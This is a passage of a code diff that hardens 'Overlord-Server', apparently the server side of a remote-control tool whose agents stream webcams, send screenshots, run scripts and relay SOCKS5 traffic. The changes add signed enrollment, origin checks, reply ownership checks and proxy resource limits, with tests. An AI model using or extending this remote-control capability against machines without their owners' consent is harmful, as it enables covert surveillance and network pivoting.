!signatureBytes) { logger.warn(`[purgatory] missing publicKey/signature/nonce for ${clientId}`); + rejectEnrollment(ws); try { ws.close(4002, "invalid_signature"); } catch {} return; } + const publicKey = publicKeyInput; + const signature = signatureInput; + + const verificationAdmission = enrollmentAdmission.beginVerification(ws); + if (!verificationAdmission.ok) { + warnEnrollmentAdmissionDenied(verificationAdmission.reason); + rejectEnrollment(ws); + try { ws.close(1013, "Enrollment verification capacity reached"); } catch {} + return; + } const valid = await verifyEd25519(publicKey, signature, nonce); + if (ws.data.enrollmentState !== "verifying") return; if (!valid) { logger.warn(`[purgatory] invalid signature for ${clientId}`); + rejectEnrollment(ws); try { ws.close(4002, "invalid_signature"); } catch {} return; } - ws.data.enrollmentNonce = undefined; - const keyFingerprint = computeKeyFingerprint(publicKey); const existing = lookupClientByPublicKey(publicKey); @@ -461,12 +794,10 @@ export async function handleWebSocketMessage( ws.data.clientId = existing.id; } else { enrollmentStatus = "pending"; - - const existingPk = getClientPublicKeyById(ws.data.clientId); - if (existingPk && existingPk !== publicKey) { - ws.data.clientId = keyFingerprint; - logger.info(`[purgatory] ID collision detected — reassigned to ${keyFingerprint}`); - } + // Client IDs are attacker-controlled at the upgrade URL. Persist a + // canonical identity derived from the proved key for every fresh + // enrollment, not only when a claimed ID happens to collide. + ws.data.clientId = keyFingerprint; } if (enrollmentStatus !== "approved" && enrollmentStatus !== "denied" && enrollmentStatus !== "pending") { @@ -474,10 +805,19 @@ export async function handleWebSocketMessage( enrollmentStatus = "pending"; } - const resolvedId = ws.data.clientId; - const buildTag = typeof (payload as any).buildTag === "string" + let resolvedId = ws.data.clientId; + const reportedBuildTag = typeof (payload as any).buildTag === "string" ? (payload as any).buildTag.trim() : ""; + const storedBuildTag = existing + ? getClientBuildOwnership(existing.id)?.buildTag || "" + : ""; + const buildTag = storedBuildTag || reportedBuildTag; + if (storedBuildTag && reportedBuildTag !== storedBuildTag) { + logger.warn( + `[build-block] client ${resolvedId} reported a changed or missing build tag; enforcing its enrolled build identity`, + ); + } let resolvedBuildId: string | null = null; let builtByUserId: number | undefined; @@ -486,6 +826,7 @@ export async function handleWebSocketMessage( if (buildTag) { const verified = await verifyBuildToken(buildTag); + if (ws.data.enrollmentState !== "verifying") return; if (verified) { resolvedBuildId = verified.bid; builtByUserId = verified.uid ?? undefined; @@ -521,6 +862,7 @@ export async function handleWebSocketMessage( }), ); } catch {} + rejectEnrollment(ws); try { ws.close(4007, "build_blocked"); } catch {} return; } @@ -528,6 +870,7 @@ export async function handleWebSocketMessage( if (enrollmentStatus === "denied") { logger.info(`[purgatory] denied client ${resolvedId} tried to connect`); ws.send(encodeMessage({ type: "enrollment_status", status: "denied" })); + rejectEnrollment(ws); try { ws.close(4003, "denied"); } catch {} return; } @@ -561,10 +904,10 @@ export async function handleWebSocketMessage( if (enrollmentStatus !== "approved") { const geoip = await getGeoip(); + if (ws.data.enrollmentState !== "verifying") return; const geo = ip ? geoip.lookup(ip) : undefined; const countryRaw = geo?.country || (payload as any).country || "ZZ"; const country = /^[A-Z]{2}$/i.test(countryRaw) ? countryRaw.toUpperCase() : "ZZ"; - const initialTagForNewClient = existing || clientExists(resolvedId) ? undefined : initialClientTag; const _s = (v: unknown, max = 256): string | undefined => { if (typeof v !== "string") return undefined; @@ -576,32 +919,51 @@ export async function handleWebSocketMessage( return n >= 0 && n <= 100 ? n : undefined; }; const batteryPercent = _percent((payload as any).batteryPercent); - upsertClientRow({ - id: resolvedId, - hwid: _s((payload as any).hwid) || resolvedId, - role: "client", - ip: ip || undefined, - host: _s((payload as any).host), - os: _s((payload as any).os), - arch: _s((payload as any).arch, 32), - version: _s((payload as any).version, 64), - user: _s((payload as any).user), - monitors: (payload as any).monitors || undefined, - cpu: _s((payload as any).cpu), - gpu: _s((payload as any).gpu), - ram: _s((payload as any).ram, 64), - batteryPercent, - batteryCharging: batteryPercent !== undefined ? !!(payload as any).batteryCharging : undefined, - country, - lastSeen: Date.now(), - online: 0 as any, - publicKey, - keyFingerprint, - enrollmentStatus: "pending", - buildTag: buildTag || undefined, - builtByUserId, - ...(initialTagForNewClient ? { customTag: initialTagForNewClient } : {}), - }); + const storePendingClient = (targetId: string): boolean => { + const initialTagForNewClient = existing || clientExists(targetId) + ? undefined + : initialClientTag; + return upsertPendingClientRow({ + id: targetId, + hwid: _s((payload as any).hwid) || targetId, + role: "client", + ip: ip || undefined, + host: _s((payload as any).host), + os: _s((payload as any).os), + arch: _s((payload as any).arch, 32), + version: _s((payload as any).version, 64), + user: _s((payload as any).user), + monitors: (payload as any).monitors || undefined, + cpu: _s((payload as any).cpu), + gpu: _s((payload as any).gpu), + ram: _s((payload as any).ram, 64), + batteryPercent, + batteryCharging: batteryPercent !== undefined ? !!(payload as any).batteryCharging : undefined, + country, + lastSeen: Date.now(), + online: 0 as any, + publicKey, + keyFingerprint, + enrollmentStatus: "pending", + buildTag: buildTag || undefined, + builtByUserId, + ...(initialTagForNewClient ? { customTag: initialTagForNewClient } : {}), + }); + }; + + let storedPendingClient = storePendingClient(resolvedId); + if (!storedPendingClient && resolvedId !== keyFingerprint) { + resolvedId = keyFingerprint; + ws.data.clientId = resolvedId; + logger.info(`[purgatory] concurrent ID collision detected — reassigned to ${resolvedId}`); + storedPendingClient = storePendingClient(resolvedId); + } + if (!storedPendingClient) { + logger.warn(`[purgatory] unable to reserve identity for ${resolvedId}`); + rejectEnrollment(ws); + try { ws.close(4002, "identity_collision"); } catch {} + return; + } logger.info(`[purgatory] client ${resolvedId} is pending approval`); ws.send(encodeMessage({ type: "enrollment_status", status: "pending" })); @@ -625,17 +987,44 @@ export async function handleWebSocketMessage( country, }); } + rejectEnrollment(ws); setTimeout(() => { try { ws.close(4001, "pending"); } catch {} }, 100); return; } } + let wasKnown = clientExists(resolvedId); + const reserveApprovedIdentity = (targetId: string): boolean => upsertClientRow({ + id: targetId, + publicKey, + keyFingerprint, + enrollmentStatus: "approved", + buildTag: buildTag || undefined, + builtByUserId, + online: 0 as any, + lastSeen: Date.now(), + }); + + let storedApprovedIdentity = reserveApprovedIdentity(resolvedId); + if (!storedApprovedIdentity && resolvedId !== keyFingerprint) { + resolvedId = keyFingerprint; + ws.data.clientId = resolvedId; + wasKnown = clientExists(resolvedId); + logger.info(`[purgatory] concurrent approved ID collision detected — reassigned to ${resolvedId}`); + storedApprovedIdentity = reserveApprovedIdentity(resolvedId); + } + if (!storedApprovedIdentity) { + logger.warn(`[purgatory] unable to reserve approved identity for ${resolvedId}`); + rejectEnrollment(ws); + try { ws.close(4002, "identity_collision"); } catch {} + return; + } + const existingClient = clientManager.getClient(resolvedId); if (existingClient?.ws && existingClient.ws !== ws) { logger.info(`[purgatory] kicking existing socket for ${resolvedId} (superseded)`); try { existingClient.ws.close(4004, "superseded"); } catch {} clientManager.deleteClient(resolvedId); - clearEnrollmentTimeout(resolvedId); stopAllProxiesForClient(resolvedId); deps.clearPendingNotificationScreenshots(resolvedId); deps.clearClientPluginState(resolvedId); @@ -658,7 +1047,6 @@ export async function handleWebSocketMessage( deps.webcamStreamingState.delete(resolvedId); } - const wasKnown = clientExists(resolvedId); ws.data.wasKnown = wasKnown; const initialTagForNewClient = wasKnown ? undefined : initialClientTag; @@ -675,7 +1063,6 @@ export async function handleWebSocketMessage( enrollmentStatus: "approved" as any, ...(initialTagForNewClient ? { customTag: initialTagForNewClient } : {}), }; - clientManager.addClient(resolvedId, infoObj); queueClientDbUpdate({ id: resolvedId, @@ -690,6 +1077,27 @@ export async function handleWebSocketMessage( }); await handleHello(infoObj, payload as Hello, ws, ip); + if (ws.data.enrollmentState !== "verifying") { + const current = clientManager.getClient(resolvedId); + if (current?.ws === ws) { + clientManager.deleteClient(resolvedId); + clearClientSyncState(resolvedId); + } else if (!current) { + clearClientSyncState(resolvedId); + } + return; + } + const helloWinner = clientManager.getClient(resolvedId); + if (helloWinner?.ws && helloWinner.ws !== ws) { + logger.warn(`[purgatory] concurrent hello lost for ${resolvedId}`); + rejectEnrollment(ws); + try { ws.close(4004, "superseded"); } catch {} + return; + } + ws.data.enrollmentState = "authenticated"; + clearEnrollmentTimeout(ws); + releaseEnrollmentAdmission(ws); + clientManager.addClient(resolvedId, infoObj); const lastCrashReason = sanitizeCrashString((payload as any).lastCrashReason, 64); if (lastCrashReason) { deps.handleCrashReport(resolvedId, { @@ -789,7 +1197,8 @@ export async function handleWebSocketMessage( } else if ((payload as any).data instanceof ArrayBuffer) { bytes = new Uint8Array((payload as any).data); } else if (ArrayBuffer.isView((payload as any).data)) { - bytes = new Uint8Array((payload as any).data.buffer); + const view = (payload as any).data as ArrayBufferView; + bytes = new Uint8Array(view.buffer, view.byteOffset, view.byteLength); } const format = String((payload as any)?.header?.format || "jpeg"); @@ -834,7 +1243,7 @@ export async function handleWebSocketMessage( case "command_result": if (payloadType === "command_result" && typeof (payload as any).commandId === "string") { const pending = deps.pendingCommandReplies.get((payload as any).commandId); - if (pending) { + if (pending?.clientId === client.id) { clearTimeout(pending.timeout); pending.resolve({ ok: Boolean((payload as any).ok), @@ -850,6 +1259,7 @@ export async function handleWebSocketMessage( (payload as any).commandId, (payload as any).ok, (payload as any).message, + client.id, ); deps.handleFileBrowserMessage(client.id, payload); if (payloadType === "command_result" && typeof (payload as any).commandId === "string") { @@ -863,7 +1273,7 @@ export async function handleWebSocketMessage( case "client_logs_result": if (typeof (payload as any).commandId === "string") { const pending = deps.pendingCommandReplies.get((payload as any).commandId); - if (pending) { + if (pending?.clientId === client.id) { clearTimeout(pending.timeout); pending.resolve({ ok: Boolean((payload as any).ok), @@ -895,6 +1305,7 @@ export async function handleWebSocketMessage( const cmdId = (payload as any).commandId; if (cmdId && deps.pendingScripts.has(cmdId)) { const pending = deps.pendingScripts.get(cmdId)!; + if (pending.clientId !== client.id) break; clearTimeout(pending.timeout); pending.resolve({ ok: (payload as any).ok, @@ -953,9 +1364,8 @@ export async function handleWebSocketMessage( break; case "proxy_data": { const connId = (payload as any).connectionId; - const tunnelData = (payload as any).data; - if (typeof connId === "string" && tunnelData) { - const bytes = tunnelData instanceof Uint8Array ? tunnelData : new Uint8Array(tunnelData); + const bytes = normalizeProxyTunnelChunk((payload as any).data); + if (typeof connId === "string" && connId.length > 0 && connId.length <= 128 && bytes) { deps.handleProxyTunnelData(client.id, connId, bytes); } break; @@ -968,12 +1378,11 @@ export async function handleWebSocketMessage( break; } case "disconnect_info": { - const reason = typeof (payload as any).reason === "string" ? (payload as any).reason : ""; - const detail = typeof (payload as any).detail === "string" ? (payload as any).detail : ""; - if (reason) { - ws.data.disconnectReason = reason; - ws.data.disconnectDetail = detail || undefined; - logger.debug(`[disconnect_info] ${client.id} reason=${reason}`); + const disconnect = normalizeDisconnectInfo(payload); + if (disconnect) { + ws.data.disconnectReason = disconnect.reason; + ws.data.disconnectDetail = disconnect.detail; + logger.debug(`[disconnect_info] ${client.id} reason=${disconnect.reason}`); } break; } @@ -981,7 +1390,11 @@ export async function handleWebSocketMessage( break; } } catch (err) { - logger.error("[message] decode error", err); + logger.error("[message] handler error", err); + if (socketRole === "client" && ws.data.enrollmentState !== "authenticated") { + rejectEnrollment(ws); + try { ws.close(1011, "enrollment_error"); } catch {} + } } } @@ -996,7 +1409,8 @@ export function handleWebSocketClose( const role = ws.data.role as string; const sessionId = ws.data.sessionId; - clearEnrollmentTimeout(clientId); + clearEnrollmentTimeout(ws); + releaseEnrollmentAdmission(ws); if (role === "console_viewer") { if (sessionId) { @@ -1125,6 +1539,14 @@ export function handleWebSocketClose( return; } + // Until hello authentication completes, clientId is only an untrusted URL + // claim. It must not drive cleanup for a real client with that ID. + if (role === "client" && ws.data.enrollmentState !== "authenticated") { + ws.data.enrollmentState = "rejected"; + ws.data.enrollmentNonce = undefined; + return; + } + const currentClient = clientManager.getClient(clientId); if (currentClient && currentClient.ws !== ws) { return; diff --git a/Overlord-Server/src/server/routes/ws-upgrade-origin.test.ts b/Overlord-Server/src/server/routes/ws-upgrade-origin.test.ts new file mode 100644 index 0000000..248bcef --- /dev/null +++ b/Overlord-Server/src/server/routes/ws-upgrade-origin.test.ts @@ -0,0 +1,61 @@ +import { describe, expect, test } from "bun:test"; +import { handleWsUpgradeRoutes, normalizeClaimedClientId } from "./ws-upgrade-routes"; + +function makeServer(ip: string) { + let upgraded = false; + return { + requestIP: () => ({ address: ip }), + upgrade: () => { + upgraded = true; + return true; + }, + wasUpgraded: () => upgraded, + }; +} + +describe("WebSocket browser origin boundary", () => { + test("bounds and sanitizes the untrusted agent ID path segment", () => { + expect(normalizeClaimedClientId("normal-client_1", () => "fallback")).toBe("normal-client_1"); + expect(normalizeClaimedClientId("..%2Funsafe", () => "fallback")).toBe("fallback"); + expect(normalizeClaimedClientId("x".repeat(129), () => "fallback")).toBe("fallback"); + expect(normalizeClaimedClientId("%E0%A4%A", () => "fallback")).toBe("fallback"); + }); + + test("rejects sibling and missing origins on viewer sockets", async () => { + const cases: HeadersInit[] = [ + { Origin: "https://evil.example.com", "Sec-Fetch-Site": "same-site" }, + {}, + ]; + for (const headers of cases) { + const req = new Request("https://overlord.example.com/api/dashboard/ws", { headers }); + const server = makeServer(`198.51.100.${Math.floor(Math.random() * 100 + 1)}`); + const response = await handleWsUpgradeRoutes(req, new URL(req.url), server, { + isAuthorizedAgentRequest: () => false, + }); + expect(response?.status).toBe(403); + expect(server.wasUpgraded()).toBe(false); + } + }); + + test("allows native agent upgrades without an Origin header", async () => { + const req = new Request("https://overlord.example.com/api/clients/native-agent/stream/ws"); + const server = makeServer("198.51.100.201"); + const response = await handleWsUpgradeRoutes(req, new URL(req.url), server, { + isAuthorizedAgentRequest: () => true, + }); + expect(response?.status).toBe(200); + expect(server.wasUpgraded()).toBe(true); + }); + + test("same-origin viewer request reaches authentication", async () => { + const req = new Request("https://overlord.example.com/api/dashboard/ws", { + headers: { Origin: "https://overlord.example.com", "Sec-Fetch-Site": "same-origin" }, + }); + const server = makeServer("198.51.100.202"); + const response = await handleWsUpgradeRoutes(req, new URL(req.url), server, { + isAuthorizedAgentRequest: () => false, + }); + expect(response?.status).toBe(401); + expect(server.wasUpgraded()).toBe(false); + }); +}); diff --git a/Overlord-Server/src/server/routes/ws-upgrade-routes.ts b/Overlord-Server/src/server/routes/ws-upgrade-routes.ts index fb1d492..fd75058 100644 --- a/Overlord-Server/src/server/routes/ws-upgrade-routes.ts +++ b/Overlord-Server/src/server/routes/ws-upgrade-routes.ts @@ -5,6 +5,7 @@ import { isIpBanned } from "../../db"; import type { FeatureName, UserRole } from "../../users"; import { hasPermission, requireClientAccess, requireFeatureAccess } from "../../rbac"; import type { SocketRole } from "../../sessions/types"; +import { isSameOriginBrowserRequest } from "../request-origin"; type RequestServer = { requestIP: (req: Request) => { address?: string } | null | undefined; @@ -73,6 +74,19 @@ type AuthenticatedUser = { role: UserRole; }; +export function normalizeClaimedClientId( + rawValue: string, + fallback: () => string = () => crypto.randomUUID(), +): string { + let decoded = ""; + try { + decoded = decodeURIComponent(rawValue); + } catch { + return fallback(); + } + return /^[A-Za-z0-9._:-]{1,128}$/.test(decoded) ? decoded : fallback(); +} + type ClientViewerUpgradeRoute = { pattern: RegExp; role: SocketRole; @@ -180,6 +194,10 @@ async function tryClientViewerUpgrade( const match = url.pathname.match(route.pattern); if (!match) continue; + if (!isSameOriginBrowserRequest(req, url, { requireOrigin: true })) { + return new Response("Forbidden: invalid WebSocket origin", { status: 403 }); + } + const user = await authenticateViewerRequest(req); if (user instanceof Response) return user; @@ -220,6 +238,10 @@ async function tryGlobalViewerUpgrade( const route = globalViewerUpgradeRoutes.find((candidate) => candidate.path === url.pathname); if (!route) return null; + if (!isSameOriginBrowserRequest(req, url, { requireOrigin: true })) { + return new Response("Forbidden: invalid WebSocket origin", { status: 403 }); + } + const user = await authenticateViewerRequest(req); if (user instanceof Response) return user; @@ -255,7 +277,7 @@ export async function handleWsUpgradeRoutes( if (!deps.isAuthorizedAgentRequest(req, url)) { return new Response("Unauthorized", { status: 401 }); } - const clientId = wsMatch[1]; + const clientId = normalizeClaimedClientId(wsMatch[1]); const role = "client"; if (ip && isIpBanned(ip)) { logger.warn(`[auth] Rejected banned IP ${ip} for client ${clientId}`); diff --git a/Overlord-Server/src/server/runtime-constants.ts b/Overlord-Server/src/server/runtime-constants.ts index c326220..50227dd 100644 --- a/Overlord-Server/src/server/runtime-constants.ts +++ b/Overlord-Server/src/server/runtime-constants.ts @@ -11,9 +11,5 @@ export const STALE_MS = positiveIntEnv("OVERLORD_STALE_MS", 90_000); export const DISCONNECT_TIMEOUT_MS = positiveIntEnv("OVERLORD_DISCONNECT_TIMEOUT_MS", 10_000); export const PRUNE_BATCH = Number(process.env.PRUNE_BATCH || 500); -export const MAX_WS_MESSAGE_BYTES_VIEWER = Number( - process.env.MAX_WS_MESSAGE_BYTES_VIEWER || 1_000_000, -); -export const MAX_WS_MESSAGE_BYTES_CLIENT = Number( - process.env.MAX_WS_MESSAGE_BYTES_CLIENT || 64_000_000, -); +export const MAX_WS_MESSAGE_BYTES_VIEWER = positiveIntEnv("MAX_WS_MESSAGE_BYTES_VIEWER", 64_000_000); +export const MAX_WS_MESSAGE_BYTES_CLIENT = positiveIntEnv("MAX_WS_MESSAGE_BYTES_CLIENT", 256_000_000); diff --git a/Overlord-Server/src/server/socks5-proxy-manager.test.ts b/Overlord-Server/src/server/socks5-proxy-manager.test.ts new file mode 100644 index 0000000..e3935e2 --- /dev/null +++ b/Overlord-Server/src/server/socks5-proxy-manager.test.ts @@ -0,0 +1,60 @@ +import { describe, expect, test } from "bun:test"; +import { + enqueueSocksBuffer, + hasSocksConnectionCapacity, + SOCKS_PROXY_BIND_HOST, + SOCKS_PROXY_CONNECT_TIMEOUT_SECONDS, + SOCKS_PROXY_HANDSHAKE_TIMEOUT_SECONDS, + SOCKS_PROXY_IDLE_TIMEOUT_SECONDS, + SOCKS_PROXY_MAX_CLIENT_CONNECTIONS, + SOCKS_PROXY_MAX_CLIENT_LISTENERS, + SOCKS_PROXY_MAX_GLOBAL_CONNECTIONS, + SOCKS_PROXY_MAX_GLOBAL_LISTENERS, + SOCKS_PROXY_MAX_PENDING_BYTES, + SOCKS_PROXY_MAX_WRITE_QUEUE_BYTES, +} from "./socks5-proxy-manager"; + +describe("SOCKS proxy security limits", () => { + test("binds only to loopback by default", () => { + expect(SOCKS_PROXY_BIND_HOST).toBe("127.0.0.1"); + }); + + test("accepts buffers up to a byte limit and rejects overflow without mutating the queue", () => { + const queue: Buffer[] = []; + let queuedBytes = enqueueSocksBuffer(queue, 0, Buffer.alloc(4), 6); + expect(queuedBytes).toBe(4); + expect(queue).toHaveLength(1); + + queuedBytes = enqueueSocksBuffer(queue, queuedBytes!, Buffer.alloc(3), 6); + expect(queuedBytes).toBeNull(); + expect(queue).toHaveLength(1); + expect(queue[0].byteLength).toBe(4); + }); + + test("uses finite pending and slow-writer queue budgets", () => { + expect(SOCKS_PROXY_MAX_PENDING_BYTES).toBeGreaterThan(0); + expect(SOCKS_PROXY_MAX_PENDING_BYTES).toBeLessThanOrEqual(64 * 1024 * 1024); + expect(SOCKS_PROXY_MAX_WRITE_QUEUE_BYTES).toBeGreaterThan(0); + expect(SOCKS_PROXY_MAX_WRITE_QUEUE_BYTES).toBeLessThanOrEqual(128 * 1024 * 1024); + }); + + test("enforces finite listener and tunnel connection budgets", () => { + expect(SOCKS_PROXY_MAX_GLOBAL_LISTENERS).toBeGreaterThan(0); + expect(SOCKS_PROXY_MAX_GLOBAL_LISTENERS).toBeLessThanOrEqual(1_024); + expect(SOCKS_PROXY_MAX_CLIENT_LISTENERS).toBeGreaterThan(0); + expect(SOCKS_PROXY_MAX_CLIENT_LISTENERS).toBeLessThanOrEqual(SOCKS_PROXY_MAX_GLOBAL_LISTENERS); + + expect(hasSocksConnectionCapacity(0, 0)).toBe(true); + expect(hasSocksConnectionCapacity(SOCKS_PROXY_MAX_GLOBAL_CONNECTIONS, 0)).toBe(false); + expect(hasSocksConnectionCapacity(0, SOCKS_PROXY_MAX_CLIENT_CONNECTIONS)).toBe(false); + }); + + test("uses bounded handshake, connect, and idle timeouts", () => { + expect(SOCKS_PROXY_HANDSHAKE_TIMEOUT_SECONDS).toBeGreaterThan(0); + expect(SOCKS_PROXY_HANDSHAKE_TIMEOUT_SECONDS).toBeLessThanOrEqual(30); + expect(SOCKS_PROXY_CONNECT_TIMEOUT_SECONDS).toBeGreaterThan(0); + expect(SOCKS_PROXY_CONNECT_TIMEOUT_SECONDS).toBeLessThanOrEqual(60); + expect(SOCKS_PROXY_IDLE_TIMEOUT_SECONDS).toBeGreaterThan(0); + expect(SOCKS_PROXY_IDLE_TIMEOUT_SECONDS).toBeLessThanOrEqual(10 * 60); + }); +}); diff --git a/Overlord-Server/src/server/socks5-proxy-manager.ts b/Overlord-Server/src/server/socks5-proxy-manager.ts index 7784dae..d589077 100644 --- a/Overlord-Server/src/server/socks5-proxy-manager.ts +++ b/Overlord-Server/src/server/socks5-proxy-manager.ts @@ -21,6 +21,39 @@ import { encodeMessage } from "../protocol"; import * as clientManager from "../clientManager"; import { logger } from "../logger"; +export const SOCKS_PROXY_BIND_HOST = "127.0.0.1"; +export const SOCKS_PROXY_MAX_PENDING_BYTES = 64 * 1024 * 1024; +export const SOCKS_PROXY_MAX_WRITE_QUEUE_BYTES = 128 * 1024 * 1024; +export const SOCKS_PROXY_MAX_GLOBAL_CONNECTIONS = 4_096; +export const SOCKS_PROXY_MAX_CLIENT_CONNECTIONS = 1_024; +export const SOCKS_PROXY_MAX_GLOBAL_LISTENERS = 1_024; +export const SOCKS_PROXY_MAX_CLIENT_LISTENERS = 256; +export const SOCKS_PROXY_HANDSHAKE_TIMEOUT_SECONDS = 15; +export const SOCKS_PROXY_CONNECT_TIMEOUT_SECONDS = 30; +export const SOCKS_PROXY_IDLE_TIMEOUT_SECONDS = 5 * 60; +const SOCKS_PROXY_MAX_HANDSHAKE_BYTES = 8 * 1024; + +export function hasSocksConnectionCapacity( + globalConnections: number, + clientConnections: number, +): boolean { + return globalConnections < SOCKS_PROXY_MAX_GLOBAL_CONNECTIONS + && clientConnections < SOCKS_PROXY_MAX_CLIENT_CONNECTIONS; +} + +export function enqueueSocksBuffer( + queue: Buffer[], + currentBytes: number, + data: Buffer | Uint8Array, + maxBytes: number, +): number | null { + const buffer = Buffer.isBuffer(data) ? data : Buffer.from(data); + if (buffer.byteLength === 0) return currentBytes; + if (currentBytes < 0 || buffer.byteLength > maxBytes - currentBytes) return null; + queue.push(buffer); + return currentBytes + buffer.byteLength; +} + // ── Types ───────────────────────────────────────────────────────────────────── export type ProxyEntry = { @@ -38,8 +71,10 @@ type TunnelConnection = { connected: boolean; /** buffer data received from SOCKS client before agent confirms */ pendingData: Buffer[]; + pendingDataBytes: number; /** data destined for the SOCKS client that the kernel buffer rejected; flushed on drain */ writeQueue: Buffer[]; + writeQueueBytes: number; }; type ProxySocketData = { @@ -48,6 +83,8 @@ type ProxySocketData = { /** SOCKS5 handshake phase */ phase: "greeting" | "request" | "tunneling"; buffer: Buffer; + /** Absolute deadline for handshake or agent-connect completion. */ + phaseDeadline: number; }; // ── State ───────────────────────────────────────────────────────────────────── @@ -88,6 +125,17 @@ export function startProxy( return { ok: false, message: `Port ${port} is already in use by another proxy` }; } + if (activeProxies.size >= SOCKS_PROXY_MAX_GLOBAL_LISTENERS) { + return { ok: false, message: "Global SOCKS5 proxy listener limit reached" }; + } + let clientListenerCount = 0; + for (const entry of activeProxies.values()) { + if (entry.clientId === clientId) clientListenerCount += 1; + } + if (clientListenerCount >= SOCKS_PROXY_MAX_CLIENT_LISTENERS) { + return { ok: false, message: `SOCKS5 proxy listener limit reached for client ${clientId}` }; + } + const target = clientManager.getClient(clientId); if (!target) { return { ok: false, message: `Client ${clientId} is not connected` }; @@ -97,23 +145,45 @@ export function startProxy( try { const listener = Bun.listen({ - hostname: "0.0.0.0", + hostname: SOCKS_PROXY_BIND_HOST, port, socket: { open(socket) { const connectionId = uuidv4(); + const now = Date.now(); socket.data = { connectionId, proxyPort: port, phase: "greeting", buffer: Buffer.alloc(0), + phaseDeadline: now + SOCKS_PROXY_HANDSHAKE_TIMEOUT_SECONDS * 1000, }; + + let globalConnections = 0; + let clientConnections = 0; + for (const activeEntry of activeProxies.values()) { + globalConnections += activeEntry.connections.size; + if (activeEntry.clientId === clientId) { + clientConnections += activeEntry.connections.size; + } + } + if (!hasSocksConnectionCapacity(globalConnections, clientConnections)) { + logger.warn( + `[socks5] rejected connection on port ${port}: active connection limit reached`, + ); + socket.end(); + return; + } + connections.set(connectionId, { socket, connected: false, pendingData: [], + pendingDataBytes: 0, writeQueue: [], + writeQueueBytes: 0, }); + socket.timeout(SOCKS_PROXY_HANDSHAKE_TIMEOUT_SECONDS); logger.debug( `[socks5] new connection ${connectionId} on port ${port}`, ); @@ -160,6 +230,16 @@ export function startProxy( flushWriteQueue(tunnel); }, + timeout(socket) { + const entry = activeProxies.get(socket.data.proxyPort); + const tunnel = entry?.connections.get(socket.data.connectionId); + if (entry && tunnel) { + closeTunnel(entry, tunnel, "timeout"); + } else { + try { socket.end(); } catch {} + } + }, + error(socket, err) { logger.error( `[socks5] socket error conn=${socket.data?.connectionId}`, @@ -178,9 +258,9 @@ export function startProxy( }; activeProxies.set(port, entry); logger.info( - `[socks5] proxy started on port ${port} for client ${clientId}`, + `[socks5] proxy started on ${SOCKS_PROXY_BIND_HOST}:${port} for client ${clientId}`, ); - return { ok: true, message: `Proxy started on port ${port}` }; + return { ok: true, message: `Proxy started on ${SOCKS_PROXY_BIND_HOST}:${port}` }; } catch (err: any) { return { ok: false, @@ -245,13 +325,71 @@ export function handleProxyTunnelData( } } +function closeTunnel( + entry: ProxyEntry, + tunnel: TunnelConnection, + reason: string, +): void { + const connectionId = tunnel.socket.data.connectionId; + tunnel.pendingData = []; + tunnel.pendingDataBytes = 0; + tunnel.writeQueue = []; + tunnel.writeQueueBytes = 0; + entry.connections.delete(connectionId); + logger.warn(`[socks5] closing ${connectionId}: ${reason}`); + try { tunnel.socket.end(); } catch {} + + const agent = clientManager.getClient(entry.clientId); + if (!agent) return; + try { + agent.ws.send( + encodeMessage({ + type: "command", + commandType: "proxy_close", + id: connectionId, + } as any), + ); + } catch {} +} + +function closeTunnelForBufferOverflow( + entry: ProxyEntry | undefined, + tunnel: TunnelConnection, + queueName: "pending" | "write", +): void { + if (entry) { + closeTunnel(entry, tunnel, `${queueName} buffer limit exceeded`); + return; + } + tunnel.pendingData = []; + tunnel.pendingDataBytes = 0; + tunnel.writeQueue = []; + tunnel.writeQueueBytes = 0; + try { tunnel.socket.end(); } catch {} +} + function writeToTunnelSocket( tunnel: TunnelConnection, data: Buffer | Uint8Array, ): void { + tunnel.socket.timeout(SOCKS_PROXY_IDLE_TIMEOUT_SECONDS); const buf = Buffer.isBuffer(data) ? data : Buffer.from(data); if (tunnel.writeQueue.length > 0) { - tunnel.writeQueue.push(buf); + const nextBytes = enqueueSocksBuffer( + tunnel.writeQueue, + tunnel.writeQueueBytes, + buf, + SOCKS_PROXY_MAX_WRITE_QUEUE_BYTES, + ); + if (nextBytes === null) { + closeTunnelForBufferOverflow( + activeProxies.get(tunnel.socket.data.proxyPort), + tunnel, + "write", + ); + return; + } + tunnel.writeQueueBytes = nextBytes; return; } let written: number; @@ -261,7 +399,22 @@ function writeToTunnelSocket( return; } if (written < buf.length) { - tunnel.writeQueue.push(buf.subarray(Math.max(written, 0))); + const remaining = buf.subarray(Math.max(written, 0)); + const nextBytes = enqueueSocksBuffer( + tunnel.writeQueue, + tunnel.writeQueueBytes, + remaining, + SOCKS_PROXY_MAX_WRITE_QUEUE_BYTES, + ); + if (nextBytes === null) { + closeTunnelForBufferOverflow( + activeProxies.get(tunnel.socket.data.proxyPort), + tunnel, + "write", + ); + return; + } + tunnel.writeQueueBytes = nextBytes; } } @@ -273,14 +426,19 @@ function flushWriteQueue(tunnel: TunnelConnection): void { written = tunnel.socket.write(next); } catch { tunnel.writeQueue.length = 0; + tunnel.writeQueueBytes = 0; return; } if (written < next.length) { - tunnel.writeQueue[0] = next.subarray(Math.max(written, 0)); + const consumed = Math.max(written, 0); + tunnel.writeQueueBytes -= consumed; + tunnel.writeQueue[0] = next.subarray(consumed); return; } tunnel.writeQueue.shift(); + tunnel.writeQueueBytes -= next.length; } + tunnel.writeQueueBytes = 0; } /** Called when the agent closes its side of a tunnel */ @@ -313,6 +471,8 @@ export function handleProxyConnectResult( if (ok) { tunnel.connected = true; + tunnel.socket.data.phaseDeadline = 0; + tunnel.socket.timeout(SOCKS_PROXY_IDLE_TIMEOUT_SECONDS); // send SOCKS5 success response // VER | REP | RSV | ATYP | BND.ADDR (4 bytes) | BND.PORT (2 bytes) tunnel.socket.write( @@ -324,6 +484,7 @@ export function handleProxyConnectResult( sendDataToAgent(entry.clientId, connectionId, buf); } tunnel.pendingData = []; + tunnel.pendingDataBytes = 0; } else { logger.debug(`[socks5] tunnel rejected by agent (conn=${connectionId})`); // SOCKS5 connection-refused reply @@ -343,21 +504,55 @@ function handleSocksData( entry: ProxyEntry, ) { const { connectionId, phase } = socket.data; + const tunnel = entry.connections.get(connectionId); + const waitingForSetup = phase !== "tunneling" || !tunnel?.connected; + if (waitingForSetup && Date.now() >= socket.data.phaseDeadline) { + if (tunnel) closeTunnel(entry, tunnel, "handshake/connect deadline exceeded"); + else socket.end(); + return; + } + if (waitingForSetup) { + const remainingSeconds = Math.max( + 1, + Math.ceil((socket.data.phaseDeadline - Date.now()) / 1000), + ); + socket.timeout(remainingSeconds); + } else { + socket.timeout(SOCKS_PROXY_IDLE_TIMEOUT_SECONDS); + } if (phase === "tunneling") { - const tunnel = 